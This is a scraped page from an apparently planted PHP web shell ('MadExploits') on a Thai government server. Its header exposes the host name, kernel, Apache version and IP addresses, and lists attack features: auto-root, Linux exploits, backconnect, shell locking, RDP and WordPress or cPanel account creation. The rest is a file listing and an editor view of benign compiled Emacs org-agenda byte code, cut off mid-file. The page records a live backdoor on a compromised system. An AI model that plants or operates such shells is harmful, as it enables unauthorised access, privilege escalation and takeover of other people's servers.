Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
org /
[ HOME SHELL ]
Name
Size
Permission
Action
org-agenda.elc
214.7
KB
-rw-r--r--
org-archive.elc
11.75
KB
-rw-r--r--
org-attach.elc
14.21
KB
-rw-r--r--
org-bbdb.elc
7.37
KB
-rw-r--r--
org-bibtex.elc
4.13
KB
-rw-r--r--
org-clock.elc
35.05
KB
-rw-r--r--
org-colview.elc
41.45
KB
-rw-r--r--
org-compat.elc
7.48
KB
-rw-r--r--
org-exp.elc
149.66
KB
-rw-r--r--
org-export-latex.elc
44.23
KB
-rw-r--r--
org-faces.elc
20.18
KB
-rw-r--r--
org-footnote.elc
13.77
KB
-rw-r--r--
org-gnus.elc
5.74
KB
-rw-r--r--
org-id.elc
16.92
KB
-rw-r--r--
org-info.elc
1.68
KB
-rw-r--r--
org-install.elc
635
B
-rw-r--r--
org-irc.elc
5.89
KB
-rw-r--r--
org-jsinfo.elc
5.39
KB
-rw-r--r--
org-list.elc
32.5
KB
-rw-r--r--
org-mac-message.elc
2.27
KB
-rw-r--r--
org-macs.elc
7.83
KB
-rw-r--r--
org-mew.elc
2.92
KB
-rw-r--r--
org-mhe.elc
5.16
KB
-rw-r--r--
org-mouse.elc
32.83
KB
-rw-r--r--
org-plot.elc
10.28
KB
-rw-r--r--
org-publish.elc
20.43
KB
-rw-r--r--
org-remember.elc
31.7
KB
-rw-r--r--
org-rmail.elc
2.82
KB
-rw-r--r--
org-table.elc
136.62
KB
-rw-r--r--
org-timer.elc
7.61
KB
-rw-r--r--
org-vm.elc
2.91
KB
-rw-r--r--
org-w3m.elc
3.88
KB
-rw-r--r--
org-wl.elc
2.82
KB
-rw-r--r--
org.elc
505.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : org-agenda.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:39 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/org/org-agenda.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`org-agenda.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (require 'org) #@221 When set, remote killing from the agenda buffer needs confirmation. When t, a confirmation is always needed. When a number N, confirmation is only needed when the text to be killed contains more than N non-white lines. (custom-declare-variable 'org-agenda-confirm-kill '1 '(#$ . 631) :group 'org-agenda :type '(choice (const :tag "Never" nil) (const :tag "Always" t) (number :tag "When more than N lines"))) #@99 Non-nil means, make the block agenda more compact. This is done by leaving out unnecessary lines. (custom-declare-variable 'org-agenda-compact-blocks 'nil '(#$ . 1046) :group 'org-agenda :type 'boolean) #@190 The separator between blocks in the agenda. If this is a string, it will be used as the separator, with a newline added. If it is a character, it will be repeated to fill the window width. (custom-declare-variable 'org-agenda-block-separator '61 '(#$ . 1256) :group 'org-agenda :type '(choice (character) (string))) (custom-declare-group 'org-agenda-export nil "Options concerning exporting agenda views in Org-mode." :tag "Org Agenda Export" :group 'org-agenda) #@44 Non-nil means, use colors in agenda views. (custom-declare-variable 'org-agenda-with-colors 't '(#$ . 1725) :group 'org-agenda-export :type 'boolean) #@141 Alist of variable/value pairs that should be active during agenda export. This is a good place to set options for ps-print and for htmlize. (custom-declare-variable 'org-agenda-exporter-settings 'nil '(#$ . 1882) :group 'org-agenda-export :type '(repeat (list (variable) (sexp :tag "Value")))) #@1228 The style specification for exported HTML Agenda files. If this variable contains a string, it will replace the default <style> section as produced by `htmlize'. Since there are different ways of setting style information, this variable needs to contain the full HTML structure to provide a style, including the surrounding HTML tags. The style specifications should include definitions the fonts used by the agenda, here is an example: <style type="text/css"> p { font-weight: normal; color: gray; } .org-agenda-structure { font-size: 110%; color: #003399; font-weight: 600; } .org-todo { color: #cc6666; font-weight: bold; } .org-done { color: #339933; } .title { text-align: center; } .todo, .deadline { color: red; } .done { color: green; } </style> or, if you want to keep the style in a file, <link rel="stylesheet" type="text/css" href="mystyles.css"> As the value of this option simply gets inserted into the HTML <head> header, you can "misuse" it to also add other text to the header. However, <style>...</style> is required, if not present the variable will be ignored. (custom-declare-variable 'org-agenda-export-html-style '"" '(#$ . 2184) :group 'org-agenda-export :group 'org-export-html :type 'string) (custom-declare-group 'org-agenda-custom-commands nil "Options concerning agenda views in Org-mode." :tag "Org Agenda Custom Commands" :group 'org-agenda) #@18 Sorting choices. (defconst org-sorting-choice '(choice (const time-up) (const time-down) (const category-keep) (const category-up) (const category-down) (const tag-down) (const tag-up) (const priority-up) (const priority-down) (const todo-state-up) (const todo-state-down) (const effort-up) (const effort-down)) (#$ . 3709)) #@127 Selection of examples for agenda command settings. This will be spliced into the custom type of `org-agenda-custom-commands'. (defconst org-agenda-custom-commands-local-options (byte-code "\301\302\303\304\302\305\306\307\310\302\311\312\310\313\301DE\257\314BBBBBBF\207" [org-sorting-choice repeat :tag "Local settings for this command. Remember to quote values" choice "Setting" (list :tag "Any variable" (variable :tag "Variable") (sexp :tag "Value")) (list :tag "Files to be searched" (const org-agenda-files) (list (const :format #1="" quote) (repeat (file)))) list "Sorting strategy" (const org-agenda-sorting-strategy) (const :format #1# quote) ((list :tag "Prefix format" (const org-agenda-prefix-format :value " %-12:c%?-12t% s") (string)) (list :tag "Number of days in agenda" (const org-agenda-ndays) (integer :value 1)) (list :tag "Fixed starting date" (const org-agenda-start-day) (string :value "2007-11-01")) (list :tag "Start on day of week" (const org-agenda-start-on-weekday) (choice :value 1 (const :tag "Today" nil) (number :tag "Weekday No."))) (list :tag "Include data from diary" (const org-agenda-include-diary) (boolean)) (list :tag "Deadline Warning days" (const org-deadline-warning-days) (integer :value 1)) (list :tag "Standard skipping condition" :value (org-agenda-skip-function '(org-agenda-skip-entry-if)) (const org-agenda-skip-function) (list (const :format #1# quote) (list (choice :tag "Skipping range" (const :tag "Skip entry" org-agenda-skip-entry-if) (const :tag "Skip subtree" org-agenda-skip-subtree-if)) (repeat :inline t :tag "Conditions for skipping" (choice :tag "Condition type" (list :tag "Regexp matches" :inline t (const :format #1# 'regexp) (regexp)) (list :tag "Regexp does not match" :inline t (const :format #1# 'notregexp) (regexp)) (const :tag "scheduled" 'scheduled) (const :tag "not scheduled" 'notscheduled) (const :tag "deadline" 'deadline) (const :tag "no deadline" 'notdeadline)))))) (list :tag "Non-standard skipping condition" :value (org-agenda-skip-function) (const org-agenda-skip-function) (sexp :tag "Function or form (quoted!)")))] 16) (#$ . 4041)) #@3218 Custom commands for the agenda. These commands will be offered on the splash screen displayed by the agenda dispatcher \[org-agenda]. Each entry is a list like this: (key desc type match settings files) key The key (one or more characters as a string) to be associated with the command. desc A description of the command, when omitted or nil, a default description is built using MATCH. type The command type, any of the following symbols: agenda The daily/weekly agenda. todo Entries with a specific TODO keyword, in all agenda files. search Entries containing search words entry or headline. tags Tags/Property/TODO match in all agenda files. tags-todo Tags/P/T match in all agenda files, TODO entries only. todo-tree Sparse tree of specific TODO keyword in *current* file. tags-tree Sparse tree with all tags matches in *current* file. occur-tree Occur sparse tree for *current* file. ... A user-defined function. match What to search for: - a single keyword for TODO keyword searches - a tags match expression for tags searches - a word search expression for text searches. - a regular expression for occur searches For all other commands, this should be the empty string. settings A list of option settings, similar to that in a let form, so like this: ((opt1 val1) (opt2 val2) ...). The values will be evaluated at the moment of execution, so quote them when needed. files A list of files file to write the produced agenda buffer to with the command `org-store-agenda-views'. If a file name ends in ".html", an HTML version of the buffer is written out. If it ends in ".ps", a postscript version is produced. Otherwise, only the plain text is written to the file. You can also define a set of commands, to create a composite agenda buffer. In this case, an entry looks like this: (key desc (cmd1 cmd2 ...) general-settings-for-whole-set files) where desc A description string to be displayed in the dispatcher menu. cmd An agenda command, similar to the above. However, tree commands are no allowed, but instead you can get agenda and global todo list. So valid commands for a set are: (agenda "" settings) (alltodo "" settings) (stuck "" settings) (todo "match" settings files) (search "match" settings files) (tags "match" settings files) (tags-todo "match" settings files) Each command can carry a list of options, and another set of options can be given for the whole set of commands. Individual command options take precedence over the general options. When using several characters as key to a command, the first characters are prefix commands. For the dispatcher to display useful information, you should provide a description for the prefix, like (setq org-agenda-custom-commands '(("h" . "HOME + Name tag searches") ; describe prefix "h" ("hl" tags "+HOME+Lisa") ("hp" tags "+HOME+Peter") ("hk" tags "+HOME+Kim"))) (custom-declare-variable 'org-agenda-custom-commands 'nil '(#$ . 6171) :group 'org-agenda-custom-commands :type (byte-code "\301\302\303\304\305\306\307\310\311\312\313\314BBBBBBBB\305\306\315\316\317\301\306\320\302\305\306\321\322\323\257\305\306\324\325\326\257\305\306\327\330\331\257\305\306\332\333\334\257\305\306\335\336\337\257\305\306\340\341\342\257\305\306\343\344\345\257\305\306\346\347\350\257\257 F\351BBBBBB\352BBBBBD\207" [org-agenda-custom-commands-local-options repeat choice :value ("x" "Describe command here" tags #1="" nil) list :tag "Single command" (string :tag "Access Key(s) ") (option (string :tag "Description")) (choice (const :tag "Agenda" agenda) (const :tag "TODO list" alltodo) (const :tag "Search words" search) (const :tag "Stuck projects" stuck) (const :tag "Tags search (all agenda files)" tags) (const :tag "Tags search of TODO entries (all agenda files)" tags-todo) (const :tag "TODO keyword search (all agenda files)" todo) (const :tag "Tags sparse tree (current buffer)" tags-tree) (const :tag "TODO keyword tree (current buffer)" todo-tree) (const :tag "Occur tree (current buffer)" occur-tree) (sexp :tag "Other, user-defined function")) (string :tag "Match (only for some commands)") ((option (repeat :tag "Export" (file :tag "Export to")))) "Command series, all agenda files" (string :tag "Access Key(s)") (string :tag "Description ") "Component" "Agenda" (const :format #1# agenda) (const :tag #1# :format #1# #1#) "TODO list (all keywords)" (const :format #1# alltodo) (const :tag #1# :format #1# #1#) "Search words" (const :format #1# search) (string :tag "Match") "Stuck projects" (const :format #1# stuck) (const :tag #1# :format #1# #1#) "Tags search" (const :format #1# tags) (string :tag "Match") "Tags search, TODO entries only" (const :format #1# tags-todo) (string :tag "Match") "TODO keyword search" (const :format #1# todo) (string :tag "Match") "Other, user-defined function" (symbol :tag "function") (string :tag "Match") ((repeat :tag "Settings for entire command set" (list (variable :tag "Any variable") (sexp :tag "Value"))) (option (repeat :tag "Export" (file :tag "Export to")))) ((cons :tag "Prefix key documentation" (string :tag "Access Key(s)") (string :tag "Description ")))] 27)) #@171 The register holding the current query string. The purpose of this is that if you construct a query string interactively, you can then use it to define a custom command. (custom-declare-variable 'org-agenda-query-register '111 '(#$ . 11668) :group 'org-agenda-custom-commands :type 'character) #@894 How to identify stuck projects. This is a list of four items: 1. A tags/todo matcher string that is used to identify a project. The entire tree below a headline matched by this is considered one project. 2. A list of TODO keywords identifying non-stuck projects. If the project subtree contains any headline with one of these todo keywords, the project is considered to be not stuck. If you specify "*" as a keyword, any TODO keyword will mark the project unstuck. 3. A list of tags identifying non-stuck projects. If the project subtree contains any headline with one of these tags, the project is considered to be not stuck. If you specify "*" as a tag, any tag will mark the project unstuck. 4. An arbitrary regular expression matching non-stuck projects. After defining this variable, you may use \[org-agenda-list-stuck-projects] or `C-c a #' to produce the list. (custom-declare-variable 'org-stuck-projects ''("+LEVEL=2/-DONE" ("TODO" "NEXT" "NEXTACTION") nil "") '(#$ . 11969) :group 'org-agenda-custom-commands :type '(list (string :tag "Tags/TODO match to identify a project") (repeat :tag "Projects are *not* stuck if they have an entry with TODO keyword any of" (string)) (repeat :tag "Projects are *not* stuck if they have an entry with TAG being any of" (string)) (regexp :tag "Projects are *not* stuck if this regexp matches\ninside the subtree"))) #@151 The default operator for effort estimate filtering. If you select an effort estimate limit without first pressing an operator, this one will be used. (custom-declare-variable 'org-agenda-filter-effort-default-operator '"<" '(#$ . 13364) :group 'org-agenda-custom-commands :type '(choice (const :tag "less or equal" "<") (const :tag "greater or equal" ">") (const :tag "equal" "="))) (byte-code "\300\301\302\303\304\305\306\307&\210\300\310\302\311\304\312\306\307&\210\300\313\302\314\304\315\306\307&\210\300\316\302\317\304\320\306\307&\207" [custom-declare-group org-agenda-skip nil "Options concerning skipping parts of agenda files." :tag "Org Agenda Skip" :group org-agenda org-agenda-daily/weekly "Options concerning the daily/weekly agenda." "Org Agenda Daily/Weekly" org-agenda-todo-list "Options concerning the global todo list agenda view." "Org Agenda Todo List" org-agenda-match-view "Options concerning the general tags/property/todo match agenda view." "Org Agenda Match View"] 8) #@296 Non-nil means, the agenda will include archived items. If this is the symbol `trees', trees in the selected agenda scope that are marked with the ARCHIVE tag will be included anyway. When this is t, also all archive files associated with the current selection of agenda files will be included. (defvar org-agenda-archives-mode nil (#$ . 14372)) #@123 Non-nil means, skip trees that start with the COMMENT keyword. When nil, these trees are also scanned by agenda commands. (custom-declare-variable 'org-agenda-skip-comment-trees 't '(#$ . 14725) :group 'org-agenda-skip :type 'boolean) #@182 Non-nil means, check also the sublevels of a TODO entry for TODO entries. When nil, the sublevels of a TODO entry are not checked, resulting in potentially much shorter TODO lists. (custom-declare-variable 'org-agenda-todo-list-sublevels 't '(#$ . 14967) :group 'org-agenda-skip :group 'org-agenda-todo-list :type 'boolean) #@370 Non-nil means, don't show entries with a date in the global todo list. You can use this if you prefer to mark mere appointments with a TODO keyword, but don't want them to show up in the TODO list. When this is set, it also covers deadlines and scheduled items, the settings of `org-agenda-todo-ignore-scheduled' and `org-agenda-todo-ignore-deadlines' will be ignored. (custom-declare-variable 'org-agenda-todo-ignore-with-date 'nil '(#$ . 15298) :group 'org-agenda-skip :group 'org-agenda-todo-list :type 'boolean) #@204 Non-nil means, don't show scheduled entries in the global todo list. The idea behind this is that by scheduling it, you have already taken care of this item. See also `org-agenda-todo-ignore-with-date'. (custom-declare-variable 'org-agenda-todo-ignore-scheduled 'nil '(#$ . 15821) :group 'org-agenda-skip :group 'org-agenda-todo-list :type 'boolean) #@250 Non-nil means, don't show near deadline entries in the global todo list. Near means closer than `org-deadline-warning-days' days. The idea behind this is that such items will appear in the agenda anyway. See also `org-agenda-todo-ignore-with-date'. (custom-declare-variable 'org-agenda-todo-ignore-deadlines 'nil '(#$ . 16178) :group 'org-agenda-skip :group 'org-agenda-todo-list :type 'boolean) #@455 Non-nil means, honor todo-list ...ignore options also in tags-todo search. The variables `org-agenda-todo-ignore-with-date', `org-agenda-todo-ignore-scheduled' `org-agenda-todo-ignore-deadlines' make the global TODO list skip entries that have time stamps of certain kinds. If this option is set, the same options will also apply for the tags-todo search, which is the general tags/property matcher restricted to unfinished TODO entries only. (custom-declare-variable 'org-agenda-tags-todo-honor-ignore-options 'nil '(#$ . 16581) :group 'org-agenda-skip :group 'org-agenda-todo-list :group 'org-agenda-match-view :type 'boolean) #@298 Non-nil means don't show scheduled items in agenda when they are done. This is relevant for the daily/weekly agenda, not for the TODO list. And it applies only to the actual date of the scheduling. Warnings about an item with a past scheduling dates are always turned off when the item is DONE. (custom-declare-variable 'org-agenda-skip-scheduled-if-done 'nil '(#$ . 17228) :group 'org-agenda-skip :group 'org-agenda-daily/weekly :type 'boolean) #@349 Non-nil means don't show deadlines when the corresponding item is done. When nil, the deadline is still shown and should give you a happy feeling. This is relevant for the daily/weekly agenda. And it applied only to the actually date of the deadline. Warnings about approaching and past-due deadlines are always turned off when the item is DONE. (custom-declare-variable 'org-agenda-skip-deadline-if-done 'nil '(#$ . 17683) :group 'org-agenda-skip :group 'org-agenda-daily/weekly :type 'boolean) #@71 Non-nil means don't select item by timestamp or -range if it is DONE. (custom-declare-variable 'org-agenda-skip-timestamp-if-done 'nil '(#$ . 18187) :group 'org-agenda-skip :group 'org-agenda-daily/weekly :type 'boolean) #@405 Non-nil means, dim blocked tasks in the agenda display. This causes some overhead during agenda construction, but if you have turned on `org-enforce-todo-dependencies' or any other blocking mechanism, this will create useful feedback in the agenda. Instead ot t, this variable can also have the value `invisible'. Then blocked tasks will be invisible and only become visible when they become unblocked. (custom-declare-variable 'org-agenda-dim-blocked-tasks 't '(#$ . 18415) :group 'org-agenda-daily/weekly :group 'org-agenda-todo-list :type '(choice (const :tag "Do not dim" nil) (const :tag "Dim to a grey face" t) (const :tag "Make invisibe" invisible))) #@335 Non-nil means, `org-timeline' also shows dates without an entry. When nil, only the days which actually have entries are shown. When t, all days between the first and the last date are shown. When an integer, show also empty dates, but if there is a gap of more than N days, just insert a special line indicating the size of the gap. (custom-declare-variable 'org-timeline-show-empty-dates '3 '(#$ . 19081) :group 'org-agenda-skip :type '(choice (const :tag "None" nil) (const :tag "All" t) (number :tag "at most"))) (custom-declare-group 'org-agenda-startup nil "Options concerning initial settings in the Agenda in Org Mode." :tag "Org Agenda Startup" :group 'org-agenda) #@51 Hook run just before displaying an agenda buffer. (custom-declare-variable 'org-finalize-agenda-hook 'nil '(#$ . 19761) :group 'org-agenda-startup :type 'hook) #@180 Non-nil means, mouse-1 on a link will follow the link in the agenda. A longer mouse click will still set point. Does not work on XEmacs. Needs to be set before org.el is loaded. (custom-declare-variable 'org-agenda-mouse-1-follows-link 'nil '(#$ . 19928) :group 'org-agenda-startup :type 'boolean) #@68 The initial value of follow-mode in a newly created agenda window. (custom-declare-variable 'org-agenda-start-with-follow-mode 'nil '(#$ . 20233) :group 'org-agenda-startup :type 'boolean) #@69 Non-nil means, include inactive time stamps in agenda and timeline. (defvar org-agenda-include-inactive-timestamps nil (#$ . 20428)) (custom-declare-group 'org-agenda-windows nil "Options concerning the windows used by the Agenda in Org Mode." :tag "Org Agenda Windows" :group 'org-agenda) #@485 How the agenda buffer should be displayed. Possible values for this option are: current-window Show agenda in the current window, keeping all other windows. other-frame Use `switch-to-buffer-other-frame' to display agenda. other-window Use `switch-to-buffer-other-window' to display agenda. reorganize-frame Show only two windows on the current frame, the current window and the agenda. See also the variable `org-agenda-restore-windows-after-quit'. (custom-declare-variable 'org-agenda-window-setup ''reorganize-frame '(#$ . 20725) :group 'org-agenda-windows :type '(choice (const current-window) (const other-frame) (const other-window) (const reorganize-frame))) #@219 The min and max height of the agenda window as a fraction of frame height. The value of the variable is a cons cell with two numbers between 0 and 1. It only matters if `org-agenda-window-setup' is `reorganize-frame'. (custom-declare-variable 'org-agenda-window-frame-fractions ''(0.5 . 0.75) '(#$ . 21432) :group 'org-agenda-windows :type '(cons (number :tag "Minimum") (number :tag "Maximum"))) #@353 Non-nil means, restore window configuration open exiting agenda. Before the window configuration is changed for displaying the agenda, the current status is recorded. When the agenda is exited with `q' or `x' and this option is set, the old state is restored. If `org-agenda-window-setup' is `other-frame', the value of this option will be ignored.. (custom-declare-variable 'org-agenda-restore-windows-after-quit 'nil '(#$ . 21836) :group 'org-agenda-windows :type 'boolean) #@66 Number of days to include in overview display. Should be 1 or 7. (custom-declare-variable 'org-agenda-ndays '7 '(#$ . 22320) :group 'org-agenda-daily/weekly :type 'number) #@151 Non-nil means, start the overview always on the specified weekday. 0 denotes Sunday, 1 denotes Monday etc. When nil, always start on the current day. (custom-declare-variable 'org-agenda-start-on-weekday '1 '(#$ . 22499) :group 'org-agenda-daily/weekly :type '(choice (const :tag "Today" nil) (number :tag "Weekday No."))) #@131 Non-nil means, `org-agenda' shows every day in the selected range. When nil, only the days which actually have entries are shown. (custom-declare-variable 'org-agenda-show-all-dates 't '(#$ . 22829) :group 'org-agenda-daily/weekly :type 'boolean) #@321 Format string for displaying dates in the agenda. Used by the daily/weekly agenda and by the timeline. This should be a format string understood by `format-time-string', or a function returning the formatted date as a string. The function must take a single argument, a calendar-style date list like (month day year). (custom-declare-variable 'org-agenda-format-date ''org-agenda-format-date-aligned '(#$ . 23083) :group 'org-agenda-daily/weekly :type '(choice (string :tag "Format string") (function :tag "Function"))) #@141 Format a date string for display in the daily/weekly agenda, or timeline. This function makes sure that dates are aligned for easy reading. (defalias 'org-agenda-format-date-aligned #[(date) "\306\307!\210\310!\211A@)\311!@\312 !$\3138%\314\211\3138)\315&%\316%!\203; \317\320!\202\263%\321V\203\306 %S&\322\211\211@)\211\211A@*\3138)% S\323_\\' \313V\203\256 '\324 \325_\\\326\245Z'%\211%\321W\203\214 \327%!S%\316%\325\246!\205\245 \316%\330\246!?\206\245 \316%\331\246!)\203\256 'T''-&\332_&\325\245&\330\245[&\331\245%\202\263\327%T!&\333\211\211@)\211\211A@*\3138)% S\323_\\' \313V\2034'\324 \325_\\\326\245Z'%\211%\321W\203\327%!S%\316%\325\246!\205+\316%\330\246!?\206+\316%\331\246!)\2034'T''-&\332_&\325\245&\330\245[&\331\245\334\211\211@)\211\211A@*\3138)% S\323_\\' \313V\203\256'\324 \325_\\\326\245Z'%\211%\321W\203\214\327%!S%\316%\325\246!\205\245\316%\330\246!?\206\245\316%\331\246!)\203\256'T''-&+!( \335U\203\312(\336Y\203\312%S\202\337 \337U\203\335(\335X\203\335%T\202\337%)\f\335U\203\357\340\341(\"\202\360\342*\340\343 $%*&. \207" [date dayname x day day-of-week month require cal-iso calendar-day-name calendar-day-of-week calendar-month-name 2 org-days-to-iso-week nil zerop error "There was no year zero" 0 + 31 23 4 10 abs 100 400 365 - (12 31 -1) 1 52 12 format " W%02d" "" "%-10s %2d %s %4d%s" monthname year offset-years day-of-year iso-week weekyear weekstring] 14 (#$ . 23612)]) #@119 Which days are weekend? These days get the special face `org-agenda-date-weekend' in the agenda and timeline buffers. (custom-declare-variable 'org-agenda-weekend-days ''(6 0) '(#$ . 25177) :group 'org-agenda-daily/weekly :type '(set :greedy t (const :tag "Monday" 1) (const :tag "Tuesday" 2) (const :tag "Wednesday" 3) (const :tag "Thursday" 4) (const :tag "Friday" 5) (const :tag "Saturday" 6) (const :tag "Sunday" 0))) #@76 If non-nil, include in the agenda entries from the Emacs Calendar's diary. (custom-declare-variable 'org-agenda-include-diary 'nil '(#$ . 25605) :group 'org-agenda-daily/weekly :type 'boolean) #@240 Set means weekly/daily agenda will always contain all TODO entries. The TODO entries will be listed at the top of the agenda, before the entries for specific days. This option is deprecated, it is better to define a block agenda instead. (custom-declare-variable 'org-agenda-include-all-todo 'nil '(#$ . 25805) :group 'org-agenda-daily/weekly :type 'boolean) #@158 Non-nil means, show all occurrences of a repeating stamp in the agenda. When nil, only one occurrence is shown, either today or the nearest into the future. (custom-declare-variable 'org-agenda-repeating-timestamp-show-all 't '(#$ . 26172) :group 'org-agenda-daily/weekly :type 'boolean) #@228 No. of days to continue listing scheduled items that are not marked DONE. When an item is scheduled on a date, it shows up in the agenda on this day and will be listed until it is marked done for the number of days given here. (custom-declare-variable 'org-scheduled-past-days '10000 '(#$ . 26467) :group 'org-agenda-daily/weekly :type 'number) #@275 List of items that should be shown in agenda log mode. This list may contain the following symbols: closed Show entries that have been closed on that day. clock Show entries that have received clocked time on that day. state Show all logged state changes. (custom-declare-variable 'org-agenda-log-mode-items ''(closed clock) '(#$ . 26819) :group 'org-agenda-daily/weekly :type '(set :greedy t (const closed) (const clock) (const state))) #@73 The initial value of clockreport-mode in a newly created agenda window. (custom-declare-variable 'org-agenda-start-with-clockreport-mode 'nil '(#$ . 27281) :group 'org-agenda-startup :group 'org-agenda-daily/weekly :type 'boolean) #@438 Property list with parameters for the clocktable in clockreport mode. This is the display mode that shows a clock table in the daily/weekly agenda, the properties for this dynamic block can be set here. The usual clocktable parameters are allowed here, but you cannot set the properties :name, :tstart, :tend, :block, and :scope - these will be overwritten to make sure the content accurately reflects the current display in the agenda. (custom-declare-variable 'org-agenda-clockreport-parameter-plist ''(:link t :maxlevel 2) '(#$ . 27519) :group 'org-agenda-daily/weekly :type 'plist) (custom-declare-group 'org-agenda-time-grid nil "Options concerning the time grid in the Org-mode Agenda." :tag "Org Agenda Time Grid" :group 'org-agenda) #@353 Non-nil means, show a time grid in the agenda schedule. A time grid is a set of lines for specific times (like every two hours between 8:00 and 20:00). The items scheduled for a day at specific times are sorted in between these lines. For details about when the grid will be shown, and what it will look like, see the variable `org-agenda-time-grid'. (custom-declare-variable 'org-agenda-use-time-grid 't '(#$ . 28267) :group 'org-agenda-time-grid :type 'boolean) #@605 The settings for time grid for agenda display. This is a list of three items. The first item is again a list. It contains symbols specifying conditions when the grid should be displayed: daily if the agenda shows a single day weekly if the agenda shows an entire week today show grid on current date, independent of daily/weekly display require-timed show grid only if at least one item has a time specification The second item is a string which will be placed behind the grid time. The third item is a list of integers, indicating the times that should have a grid line. (custom-declare-variable 'org-agenda-time-grid ''((daily today require-timed) "----------------" (800 1000 1200 1400 1600 1800 2000)) '(#$ . 28739) :group 'org-agenda-time-grid :type '(list (set :greedy t :tag "Grid Display Options" (const :tag "Show grid in single day agenda display" daily) (const :tag "Show grid in weekly agenda display" weekly) (const :tag "Always show grid for today" today) (const :tag "Show grid only if any timed entries are present" require-timed) (const :tag "Skip grid times already present in an entry" remove-match)) (string :tag "Grid String") (repeat :tag "Grid Times" (integer :tag "Time")))) (custom-declare-group 'org-agenda-sorting nil "Options concerning sorting in the Org-mode Agenda." :tag "Org Agenda Sorting" :group 'org-agenda) #@1952 Sorting structure for the agenda items of a single day. This is a list of symbols which will be used in sequence to determine if an entry should be listed before another entry. The following symbols are recognized: time-up Put entries with time-of-day indications first, early first time-down Put entries with time-of-day indications first, late first category-keep Keep the default order of categories, corresponding to the sequence in `org-agenda-files'. category-up Sort alphabetically by category, A-Z. category-down Sort alphabetically by category, Z-A. tag-up Sort alphabetically by last tag, A-Z. tag-down Sort alphabetically by last tag, Z-A. priority-up Sort numerically by priority, high priority last. priority-down Sort numerically by priority, high priority first. todo-state-up Sort by todo state, tasks that are done last. todo-state-down Sort by todo state, tasks that are done first. effort-up Sort numerically by estimated effort, high effort last. effort-down Sort numerically by estimated effort, high effort first. The different possibilities will be tried in sequence, and testing stops if one comparison returns a "not-equal". For example, the default '(time-up category-keep priority-down) means: Pull out all entries having a specified time of day and sort them, in order to make a time schedule for the current day the first thing in the agenda listing for the day. Of the entries without a time indication, keep the grouped in categories, don't sort the categories, but keep them in the sequence given in `org-agenda-files'. Within each category sort by priority. Leaving out `category-keep' would mean that items will be sorted across categories by priority. Instead of a single list, this can also be a set of list for specific contents, with a context symbol in the car of the list, any of `agenda', `todo', `tags' for the corresponding agenda views. (custom-declare-variable 'org-agenda-sorting-strategy ''((agenda time-up priority-down category-keep) (todo priority-down category-keep) (tags priority-down category-keep) (search category-keep)) '(#$ . 30123) :group 'org-agenda-sorting :type (byte-code "\301\302\303\304F\305\303\306\307\310\302DE\307\311\302DE\307\312\302DE\257E\207" [org-sorting-choice choice repeat :tag "General" list "Individually" cons (const :tag "Strategy for Weekly/Daily agenda" agenda) (const :tag "Strategy for TODO lists" todo) (const :tag "Strategy for Tags matches" tags)] 11)) #@380 Non-nil means, items without time are considered late. This is only relevant for sorting. When t, items which have no explicit time like 15:30 will be considered as 99:01, i.e. later than any items which do have a time. When nil, the default time is before 0:00. You can use this option to decide if the schedule for today should come before or after timeless agenda entries. (custom-declare-variable 'org-sort-agenda-notime-is-late 't '(#$ . 32648) :group 'org-agenda-sorting :type 'boolean) #@126 Non-nil means, items without effort estimate are sorted as high effort. When nil, such items are sorted as 0 minutes effort. (custom-declare-variable 'org-sort-agenda-noeffort-is-high 't '(#$ . 33151) :group 'org-agenda-sorting :type 'boolean) (custom-declare-group 'org-agenda-line-format nil "Options concerning the entry prefix in the Org-mode agenda display." :tag "Org Agenda Line Format" :group 'org-agenda) #@2358 Format specifications for the prefix of items in the agenda views. An alist with four entries, for the different agenda types. The keys to the sublists are `agenda', `timeline', `todo', and `tags'. The values are format strings. This format works similar to a printf format, with the following meaning: %c the category of the item, "Diary" for entries from the diary, or as given by the CATEGORY keyword or derived from the file name. %T the *last* tag of the item. Last because inherited tags come first in the list. %t the time-of-day specification if one applies to the entry, in the format HH:MM %s Scheduling/Deadline information, a short string All specifiers work basically like the standard `%s' of printf, but may contain two additional characters: A question mark just after the `%' and a whitespace/punctuation character just before the final letter. If the first character after `%' is a question mark, the entire field will only be included if the corresponding value applies to the current entry. This is useful for fields which should have fixed width when present, but zero width when absent. For example, "%?-12t" will result in a 12 character time field if a time of the day is specified, but will completely disappear in entries which do not contain a time. If there is punctuation or whitespace character just before the final format letter, this character will be appended to the field value if the value is not empty. For example, the format "%-12:c" leads to "Diary: " if the category is "Diary". If the category were be empty, no additional colon would be interted. The default value of this option is " %-12:c%?-12t% s", meaning: - Indent the line with two space characters - Give the category in a 12 chars wide field, padded with whitespace on the right (because of `-'). Append a colon if there is a category (because of `:'). - If there is a time-of-day, put it into a 12 chars wide field. If no time, don't put in an empty field, just skip it (because of '?'). - Finally, put the scheduling information and append a whitespace. As another example, if you don't want the time-of-day of entries in the prefix, you could use: (setq org-agenda-prefix-format " %-11:c% s") See also the variables `org-agenda-remove-times-when-in-prefix' and `org-agenda-remove-tags'. (custom-declare-variable 'org-agenda-prefix-format ''((agenda . " %-12:c%?-12t% s") (timeline . " % s") (todo . " %-12:c") (tags . " %-12:c") (search . " %-12:c")) '(#$ . 33573) :type '(choice (string :tag "General format") (list :greedy t :tag "View dependent" (cons (const agenda) (string :tag "Format")) (cons (const timeline) (string :tag "Format")) (cons (const todo) (string :tag 